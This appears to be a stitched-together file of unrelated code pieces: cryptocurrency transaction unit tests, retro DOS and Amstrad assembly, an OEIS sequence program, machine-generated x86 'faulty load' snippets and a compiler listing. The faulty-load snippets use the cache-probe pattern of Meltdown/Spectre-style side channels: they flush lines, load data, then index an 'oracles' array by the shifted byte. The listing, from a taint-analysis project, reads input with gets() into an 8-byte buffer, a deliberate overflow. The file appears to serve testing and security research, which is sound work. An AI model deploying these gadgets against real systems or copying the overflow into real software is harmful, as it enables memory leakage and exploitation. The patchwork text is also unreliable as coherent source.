(e2769b09e784f32f62ef849763d4f45b98e07ba658647343b915ff832b110436) unsigned char ch[] = {0x01, 0x00, 0x00, 0x00, 0x01, 0x6b, 0xff, 0x7f, 0xcd, 0x4f, 0x85, 0x65, 0xef, 0x40, 0x6d, 0xd5, 0xd6, 0x3d, 0x4f, 0xf9, 0x4f, 0x31, 0x8f, 0xe8, 0x20, 0x27, 0xfd, 0x4d, 0xc4, 0x51, 0xb0, 0x44, 0x74, 0x01, 0x9f, 0x74, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x8c, 0x49, 0x30, 0x46, 0x02, 0x21, 0x00, 0xda, 0x0d, 0xc6, 0xae, 0xce, 0xfe, 0x1e, 0x06, 0xef, 0xdf, 0x05, 0x77, 0x37, 0x57, 0xde, 0xb1, 0x68, 0x82, 0x09, 0x30, 0xe3, 0xb0, 0xd0, 0x3f, 0x46, 0xf5, 0xfc, 0xf1, 0x50, 0xbf, 0x99, 0x0c, 0x02, 0x21, 0x00, 0xd2, 0x5b, 0x5c, 0x87, 0x04, 0x00, 0x76, 0xe4, 0xf2, 0x53, 0xf8, 0x26, 0x2e, 0x76, 0x3e, 0x2d, 0xd5, 0x1e, 0x7f, 0xf0, 0xbe, 0x15, 0x77, 0x27, 0xc4, 0xbc, 0x42, 0x80, 0x7f, 0x17, 0xbd, 0x39, 0x01, 0x41, 0x04, 0xe6, 0xc2, 0x6e, 0xf6, 0x7d, 0xc6, 0x10, 0xd2, 0xcd, 0x19, 0x24, 0x84, 0x78, 0x9a, 0x6c, 0xf9, 0xae, 0xa9, 0x93, 0x0b, 0x94, 0x4b, 0x7e, 0x2d, 0xb5, 0x34, 0x2b, 0x9d, 0x9e, 0x5b, 0x9f, 0xf7, 0x9a, 0xff, 0x9a, 0x2e, 0xe1, 0x97, 0x8d, 0xd7, 0xfd, 0x01, 0xdf, 0xc5, 0x22, 0xee, 0x02, 0x28, 0x3d, 0x3b, 0x06, 0xa9, 0xd0, 0x3a, 0xcf, 0x80, 0x96, 0x96, 0x8d, 0x7d, 0xbb, 0x0f, 0x91, 0x78, 0xff, 0xff, 0xff, 0xff, 0x02, 0x8b, 0xa7, 0x94, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x19, 0x76, 0xa9, 0x14, 0xba, 0xde, 0xec, 0xfd, 0xef, 0x05, 0x07, 0x24, 0x7f, 0xc8, 0xf7, 0x42, 0x41, 0xd7, 0x3b, 0xc0, 0x39, 0x97, 0x2d, 0x7b, 0x88, 0xac, 0x40, 0x94, 0xa8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x19, 0x76, 0xa9, 0x14, 0xc1, 0x09, 0x32, 0x48, 0x3f, 0xec, 0x93, 0xed, 0x51, 0xf5, 0xfe, 0x95, 0xe7, 0x25, 0x59, 0xf2, 0xcc, 0x70, 0x43, 0xf9, 0x88, 0xac, 0x00, 0x00, 0x00, 0x00, 0x00}; vector<unsigned char> vch(ch, ch + sizeof(ch) -1); CDataStream stream(vch, SER_DISK, CLIENT_VERSION); CTransaction tx; stream >> tx; CValidationState state; BOOST_CHECK_MESSAGE(tx.CheckTransaction(state) && state.IsValid(), "Simple deserialized transaction should be valid."); // Check that duplicate txins fail tx.vin.push_back(tx.vin[0]); BOOST_CHECK_MESSAGE(!tx.CheckTransaction(state) || !state.IsValid(), "Transaction with duplicate txins should be invalid."); } // // Helper: create two dummy transactions, each with // two outputs. The first has 11 and 50 CENT outputs // paid to a TX_PUBKEY, the second 21 and 22 CENT outputs // paid to a TX_PUBKEYHASH. // static std::vector<CTransaction> SetupDummyInputs(CBasicKeyStore& keystoreRet, CCoinsView & coinsRet) { std::vector<CTransaction> dummyTransactions; dummyTransactions.resize(2); // Add some keys to the keystore: CKey key[4]; for (int i = 0; i < 4; i++) { key[i].MakeNewKey(i % 2); keystoreRet.AddKey(key[i]); } // Create some dummy input transactions dummyTransactions[0].vout.resize(2); dummyTransactions[0].vout[0].nValue = 11*CENT; dummyTransactions[0].vout[0].scriptPubKey << key[0].GetPubKey() << OP_CHECKSIG; dummyTransactions[0].vout[1].nValue = 50*CENT; dummyTransactions[0].vout[1].scriptPubKey << key[1].GetPubKey() << OP_CHECKSIG; coinsRet.SetCoins(dummyTransactions[0].GetHash(), CCoins(dummyTransactions[0], 0)); dummyTransactions[1].vout.resize(2); dummyTransactions[1].vout[0].nValue = 21*CENT; dummyTransactions[1].vout[0].scriptPubKey.SetDestination(key[2].GetPubKey().GetID()); dummyTransactions[1].vout[1].nValue = 22*CENT; dummyTransactions[1].vout[1].scriptPubKey.SetDestination(key[3].GetPubKey().GetID()); coinsRet.SetCoins(dummyTransactions[1].GetHash(), CCoins(dummyTransactions[1], 0)); return dummyTransactions; } BOOST_AUTO_TEST_CASE(test_Get) { CBasicKeyStore keystore; CCoinsView coinsDummy; CCoinsViewCache coins(coinsDummy); std::vector<CTransaction> dummyTransactions = SetupDummyInputs(keystore, coins); CTransaction t1; t1.vin.resize(3); t1.vin[0].prevout.hash = dummyTransactions[0].GetHash(); t1.vin[0].prevout.n = 1; t1.vin[0].scriptSig << std::vector<unsigned char>(65, 0); t1.vin[1].prevout.hash = dummyTransactions[1].GetHash(); t1.vin[1].prevout.n = 0; t1.vin[1].scriptSig << std::vector<unsigned char>(65, 0) << std::vector<unsigned char>(33, 4); t1.vin[2].prevout.hash = dummyTransactions[1].GetHash(); t1.vin[2].prevout.n = 1; t1.vin[2].scriptSig << std::vector<unsigned char>(65, 0) << std::vector<unsigned char>(33, 4); t1.vout.resize(2); t1.vout[0].nValue = 90*CENT; t1.vout[0].scriptPubKey << OP_1; BOOST_CHECK(t1.AreInputsStandard(coins)); BOOST_CHECK_EQUAL(t1.GetValueIn(coins), (50+21+22)*CENT); // Adding extra junk to the scriptSig should make it non-standard: t1.vin[0].scriptSig << OP_11; BOOST_CHECK(!t1.AreInputsStandard(coins)); // ... as should not having enough: t1.vin[0].scriptSig = CScript(); BOOST_CHECK(!t1.AreInputsStandard(coins)); } BOOST_AUTO_TEST_CASE(test_IsStandard) { CBasicKeyStore keystore; CCoinsView coinsDummy; CCoinsViewCache coins(coinsDummy); std::vector<CTransaction> dummyTransactions = SetupDummyInputs(keystore, coins); CTransaction t; t.vin.resize(1); t.vin[0].prevout.hash = dummyTransactions[0].GetHash(); t.vin[0].prevout.n = 1; t.vin[0].scriptSig << std::vector<unsigned char>(65, 0); t.vout.resize(1); t.vout[0].nValue = 90*CENT; CKey key; key.MakeNewKey(true); t.vout[0].scriptPubKey.SetDestination(key.GetPubKey().GetID()); BOOST_CHECK(t.IsStandard()); t.vout[0].nValue = 5011; // dust // davcoin does not enforce isDust(). Per dust fees are considered sufficient as deterrant. // BOOST_CHECK(!t.IsStandard()); t.vout[0].nValue = 6011; // not dust BOOST_CHECK(t.IsStandard()); t.vout[0].scriptPubKey = CScript() << OP_1; BOOST_CHECK(!t.IsStandard()); } BOOST_AUTO_TEST_SUITE_END()
;----------------------------------------------------------------------- ; Prelude1 - PC-DOS 256-byte intro by ern0 ; Prototype-2: raw-diff-5 nctab nutab ; ; Target: 80386 real mode, assembler: FASM ; ;----------------------------------------------------------------------- ; Register allocation: ; ; AL - param, result: loaded word on LSBs ; AH - param, word length loop counter (SHL until zero) ; BL - local, play_note ; BH - local, data sub correction ; CL - global, latch counter (SHL until zero) ; CH - global, latch value ; DX - (free) ; SI - local, 5-byte rotation ; DI - global, 5-byte rotation, used in 5+3 repeat ; BP - global, load data pointer ; ES - (free) ; ;----------------------------------------------------------------------- TEST_MODE = 1 if TEST_MODE > 0 display "----[ Test mode, result will be written to TEST-2.TXT ]--------" end if ;----------------------------------------------------------------------- org 100H mov al,3fH mov dx,331H out dx,al lea bp,[data_notes] xor cl,cl @next_line: pusha push cx lea si,[data_start] lea di,[snapshot_start] mov cx,5 rep movsb pop cx call eight_of_eight lea si,[snapshot_start] lea di,[data_start] mov cx,5 rep movsb popa call eight_of_eight cmp byte [line],2 jne @not1 mov byte [delay],5 @not1: dec byte [line] jne @next_line mov byte [delay],6 mov byte [line],16 @next_simple: call load_play_note dec byte [line] jne @next_simple mov byte [delay],7 mov byte [line],16 @next_last: call load_play_note dec byte [line] jne @next_last mov byte [delay],1 mov byte [line],5 @next_finish: call load_play_note dec byte [line] jne @next_finish if TEST_MODE > 0 call test_summary end if int 20H line: db 32 delay: dw 5 snapshot_start: db 0,0,0,0,0 ;----------------------------------------------------------------------- eight_of_eight: mov dx,5 @five_of_eight: call load_play_note dec dx jnz @five_of_eight mov bx,-3 @three_of_eight: mov al,[di + bx] ; DI is from rotate_notes call play_note inc bx jnz @three_of_eight ret ;----------------------------------------------------------------------- load_play_note: mov bl,DATA_CSUB mov ax,$2000 ; AL:=0, AH:=%xx10'0000: 3 SHL from zero @next_bit: or ah,ah jnz @read_bit ;word_read: or al,al ; check for %000 special value jnz @adjust_word ;load_uncompressed: mov bl,DATA_USUB ; 42, also a good value for bit counter mov ah,bl ; %xxxx'xx10: 7 SHL from zero jmp @next_bit @read_bit: or cl,cl jnz @shift_latch ;load_latch: inc cx ; INC CX for CL:=1, %xxxx'xxx1: 8 SHL from zero mov ch,[bp] inc bp @shift_latch: sal ax,1 sal cx,1 adc al,0 jmp @next_bit @adjust_word: sub al,bl ;rotate_notes: if TEST_MODE > 0 call test_diff end if lea di,[data_start] add al,[di] lea si,[di + 1] movsw movsw stosb ; fall play_note ;----------------------------------------------------------------------- play_note: if TEST_MODE > 0 jmp test_note end if @ply: pusha push ax mov bl,90H ; Note On, Channel 1 call play_byte pop bx ; Pitch call play_byte mov bl,7fH ; Velocity call play_byte ; fall wait ;----------------------------------------------------------------------- ;wait: mov si,[delay] @wait_some: mov ah,2cH int 21H mov bl,dl @wait_tick: int 21H cmp bl,dl je @wait_tick dec si jne @wait_some popa ret ;----------------------------------------------------------------------- play_byte: mov dx,331H in al,dx test al,40H jnz play_byte dec dx mov al,bl out dx,al ret ;----------------------------------------------------------------------- include "data-2.inc" if TEST_MODE > 0 include "test.asm" include "test-2.inc" test_file_name: db "TEST-2.TXT",0 end if
; ; Amstrad CPC specific routines ; by Stefano Bodrato, Fall 2013 ; ; int set_psg(int reg, int val); ; ; Play a sound by PSG ; ; ; $Id: psg_init.asm,v 1.4 2016-06-10 21:13:58 dom Exp $ ; SECTION code_clib PUBLIC psg_init PUBLIC _psg_init EXTERN asm_set_psg psg_init: _psg_init: ld e,@01010101 xor a ; R0: Channel A frequency low bits call outpsg ld e,a ld d,12 psg_iniloop: inc a ; R1-13: set all to 0 but 7 and 11 cp 7 jr z,skip ;cp 11 ;jr z,skip call outpsg skip: dec d jr nz,psg_iniloop ld e,@11111000 ; R7: Channel setting. Enable sound channels ABC and input on ports A and B ld a,7 call outpsg ld e,@00001011 ; R11: Envelope ld a,11 outpsg: ld c,a jp asm_set_psg + 1
INF PINF HURP ZURP 0x12 BADR 0x8 EPINF EINF LOD blah blah: .data 4 2
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r9 push %rax lea addresses_A_ht+0x3001, %r10 and $46751, %rax movl $0x61626364, (%r10) nop nop and $5501, %r15 pop %rax pop %r9 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi // Store mov $0xe43, %r12 nop nop nop cmp %r9, %r9 movl $0x51525354, (%r12) nop nop nop xor %r12, %r12 // Store lea addresses_D+0x170c3, %rdi clflush (%rdi) cmp $13072, %r15 mov $0x5152535455565758, %rbp movq %rbp, %xmm3 vmovups %ymm3, (%rdi) nop dec %rax // Store lea addresses_WC+0x19d83, %rbp nop nop nop nop cmp %rdi, %rdi mov $0x5152535455565758, %r12 movq %r12, %xmm5 movups %xmm5, (%rbp) nop nop nop xor %rbp, %rbp // Store lea addresses_US+0xb183, %r9 nop cmp $25580, %rcx mov $0x5152535455565758, %r15 movq %r15, %xmm6 movups %xmm6, (%r9) nop xor $19503, %r15 // Store lea addresses_US+0x1407, %rbp clflush (%rbp) cmp $49734, %r12 movl $0x51525354, (%rbp) nop nop xor $30945, %rdi // Load lea addresses_PSE+0x5903, %rax and %rbp, %rbp mov (%rax), %r9 nop nop nop nop nop inc %r12 // Faulty Load lea addresses_US+0xb183, %r15 nop nop nop nop nop inc %rax movups (%r15), %xmm0 vpextrq $1, %xmm0, %rcx lea oracles, %r15 and $0xff, %rcx shlq $12, %rcx mov (%r15,%rcx,1), %rcx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': False}} {'00': 85} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0xf58e, %rsi lea addresses_WT_ht+0x1970e, %rdi nop nop nop nop sub $5714, %r8 mov $70, %rcx rep movsl nop nop xor $51268, %r13 lea addresses_UC_ht+0xe4ee, %rbx nop nop sub %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, %xmm4 movups %xmm4, (%rbx) nop dec %rbx lea addresses_WT_ht+0x14f0e, %r8 nop nop add $19695, %r14 mov (%r8), %di cmp $50396, %r13 lea addresses_UC_ht+0x670e, %rsi lea addresses_WC_ht+0x1284e, %rdi nop nop nop nop cmp %rax, %rax mov $54, %rcx rep movsb sub $38857, %rcx lea addresses_WT_ht+0x51f6, %r13 nop add $22020, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm5 movups %xmm5, (%r13) nop nop xor $16649, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_D+0x898e, %rdi nop nop nop nop and $39215, %r14 mov $0x5152535455565758, %rcx movq %rcx, (%rdi) nop nop and $39482, %r14 // Store lea addresses_WC+0x1cd0e, %r11 nop and $9762, %r15 mov $0x5152535455565758, %r14 movq %r14, %xmm7 movups %xmm7, (%r11) nop nop nop nop nop add $29789, %rcx // Store lea addresses_UC+0xcb0e, %r11 add $9538, %rcx mov $0x5152535455565758, %r14 movq %r14, %xmm6 vmovups %ymm6, (%r11) nop cmp $47179, %rcx // REPMOV lea addresses_UC+0xcb0e, %rsi lea addresses_A+0x63c2, %rdi clflush (%rdi) nop nop dec %r8 mov $34, %rcx rep movsw dec %rsi // Faulty Load lea addresses_UC+0xcb0e, %r14 nop nop add $27010, %r8 movups (%r14), %xmm4 vpextrq $1, %xmm4, %r15 lea oracles, %rcx and $0xff, %r15 shlq $12, %r15 mov (%rcx,%r15,1), %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0 include listing.inc INCLUDELIB MSVCRT INCLUDELIB OLDNAMES _DATA SEGMENT $SG5153 DB '%f %f %f %s', 0aH, 00H _DATA ENDS PUBLIC __local_stdio_printf_options PUBLIC _vfprintf_l PUBLIC printf PUBLIC func PUBLIC main PUBLIC __real@3ff0000000000000 PUBLIC __real@4000000000000000 PUBLIC __real@4008000000000000 EXTRN __imp___acrt_iob_func:PROC EXTRN __imp___stdio_common_vfprintf:PROC EXTRN gets:PROC EXTRN __GSHandlerCheck:PROC EXTRN __security_check_cookie:PROC EXTRN __security_cookie:QWORD EXTRN _fltused:DWORD _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; COMDAT pdata pdata SEGMENT $pdata$_vfprintf_l DD imagerel $LN3 DD imagerel $LN3+68 DD imagerel $unwind$_vfprintf_l pdata ENDS ; COMDAT pdata pdata SEGMENT $pdata$printf DD imagerel $LN3 DD imagerel $LN3+88 DD imagerel $unwind$printf pdata ENDS pdata SEGMENT $pdata$func DD imagerel $LN3 DD imagerel $LN3+120 DD imagerel $unwind$func $pdata$main DD imagerel $LN3 DD imagerel $LN3+40 DD imagerel $unwind$main pdata ENDS ; COMDAT __real@4008000000000000 CONST SEGMENT __real@4008000000000000 DQ 04008000000000000r ; 3 CONST ENDS ; COMDAT __real@4000000000000000 CONST SEGMENT __real@4000000000000000 DQ 04000000000000000r ; 2 CONST ENDS ; COMDAT __real@3ff0000000000000 CONST SEGMENT __real@3ff0000000000000 DQ 03ff0000000000000r ; 1 CONST ENDS xdata SEGMENT $unwind$func DD 012519H DD 08216H DD imagerel __GSHandlerCheck DD 038H $unwind$main DD 010401H DD 04204H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$printf DD 011801H DD 06218H xdata ENDS ; COMDAT xdata xdata SEGMENT $unwind$_vfprintf_l DD 011801H DD 06218H xdata ENDS ; Function compile flags: /Odtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-fparam.c _TEXT SEGMENT main PROC ; 16 : { $LN3: sub rsp, 40 ; 00000028H ; 17 : func(1, 2, 3); movsd xmm2, QWORD PTR __real@4008000000000000 movsd xmm1, QWORD PTR __real@4000000000000000 movsd xmm0, QWORD PTR __real@3ff0000000000000 call func ; 18 : return 0; xor eax, eax ; 19 : } add rsp, 40 ; 00000028H ret 0 main ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File d:\projects\taintanalysis\antitaint\epilog\src\func-fparam.c _TEXT SEGMENT buf$ = 48 __$ArrayPad$ = 56 param1$ = 80 param2$ = 88 param3$ = 96 func PROC ; 9 : { $LN3: movsd QWORD PTR [rsp+24], xmm2 movsd QWORD PTR [rsp+16], xmm1 movsd QWORD PTR [rsp+8], xmm0 sub rsp, 72 ; 00000048H mov rax, QWORD PTR __security_cookie xor rax, rsp mov QWORD PTR __$ArrayPad$[rsp], rax ; 10 : char buf[8]; ; 11 : gets(buf); lea rcx, QWORD PTR buf$[rsp] call gets ; 12 : printf("%f %f %f %s\n", param1, param2, param3, buf); lea rax, QWORD PTR buf$[rsp] mov QWORD PTR [rsp+32], rax movsd xmm3, QWORD PTR param3$[rsp] movd r9, xmm3 movsd xmm2, QWORD PTR param2$[rsp] movd r8, xmm2 movsd xmm1, QWORD PTR param1$[rsp] movd rdx, xmm1 lea rcx, OFFSET FLAT:$SG5153 call printf ; 13 : } mov rcx, QWORD PTR __$ArrayPad$[rsp] xor rcx, rsp call __security_check_cookie add rsp, 72 ; 00000048H ret 0 func ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT printf _TEXT SEGMENT _Result$ = 32 _ArgList$ = 40 _Format$ = 64 printf PROC ; COMDAT ; 950 : { $LN3: mov QWORD PTR [rsp+8], rcx mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+32], r9 sub rsp, 56 ; 00000038H ; 951 : int _Result; ; 952 : va_list _ArgList; ; 953 : __crt_va_start(_ArgList, _Format); lea rax, QWORD PTR _Format$[rsp+8] mov QWORD PTR _ArgList$[rsp], rax ; 954 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList); mov ecx, 1 call QWORD PTR __imp___acrt_iob_func mov r9, QWORD PTR _ArgList$[rsp] xor r8d, r8d mov rdx, QWORD PTR _Format$[rsp] mov rcx, rax call _vfprintf_l mov DWORD PTR _Result$[rsp], eax ; 955 : __crt_va_end(_ArgList); mov QWORD PTR _ArgList$[rsp], 0 ; 956 : return _Result; mov eax, DWORD PTR _Result$[rsp] ; 957 : } add rsp, 56 ; 00000038H ret 0 printf ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\stdio.h ; COMDAT _vfprintf_l _TEXT SEGMENT _Stream$ = 64 _Format$ = 72 _Locale$ = 80 _ArgList$ = 88 _vfprintf_l PROC ; COMDAT ; 638 : { $LN3: mov QWORD PTR [rsp+32], r9 mov QWORD PTR [rsp+24], r8 mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx sub rsp, 56 ; 00000038H ; 639 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList); call __local_stdio_printf_options mov rcx, QWORD PTR _ArgList$[rsp] mov QWORD PTR [rsp+32], rcx mov r9, QWORD PTR _Locale$[rsp] mov r8, QWORD PTR _Format$[rsp] mov rdx, QWORD PTR _Stream$[rsp] mov rcx, QWORD PTR [rax] call QWORD PTR __imp___stdio_common_vfprintf ; 640 : } add rsp, 56 ; 00000038H ret 0 _vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtpy ; File c:\program files (x86)\windows kits\10\include\10.0.10240.0\ucrt\corecrt_stdio_config.h ; COMDAT __local_stdio_printf_options _TEXT SEGMENT __local_stdio_printf_options PROC ; COMDAT ; 74 : static unsigned __int64 _OptionsStorage; ; 75 : return &_OptionsStorage; lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; 76 : } ret 0 __local_stdio_printf_options ENDP _TEXT ENDS END
; A184516: Lower s-Wythoff sequence, where s=4n-2. Complement of A184517. ; 1,2,4,5,6,7,9,10,11,12,13,15,16,17,18,20,21,22,23,25,26,27,28,30,31,32,33,34,36,37,38,39,41,42,43,44,46,47,48,49,51,52,53,54,56,57,58,59,60,62,63,64,65,67,68,69,70,72,73,74,75,77,78,79,80,81,83,84,85,86,88,89,90,91,93,94,95,96,98,99,100,101,102,104,105,106,107,109,110,111,112,114,115,116,117,119,120,121,122,123,125,126,127,128,130,131,132,133,135,136,137,138,140,141,142,143,145,146,147,148,149,151,152,153,154,156,157,158,159,161,162,163,164,166,167,168,169,170,172,173,174,175,177,178,179,180,182,183,184,185,187,188,189,190,191,193,194,195,196,198,199,200,201,203,204,205,206,208,209,210,211,212,214,215,216,217,219,220,221,222,224,225,226,227,229,230,231,232,233,235,236,237,238,240,241,242,243,245,246,247,248,250,251,252,253,255,256,257,258,259,261,262,263,264,266,267,268,269,271,272,273,274,276,277,278,279,280,282,283,284,285,287,288,289,290,292,293,294,295,297,298,299,300,301,303,304,305,306,308,309 mov $4,$0 add $4,1 mov $11,$0 lpb $4,1 mov $0,$11 sub $4,1 sub $0,$4 mov $7,$0 mov $9,2 lpb $9,1 mov $0,$7 sub $9,1 add $0,$9 sub $0,1 mov $2,$0 mov $3,$0 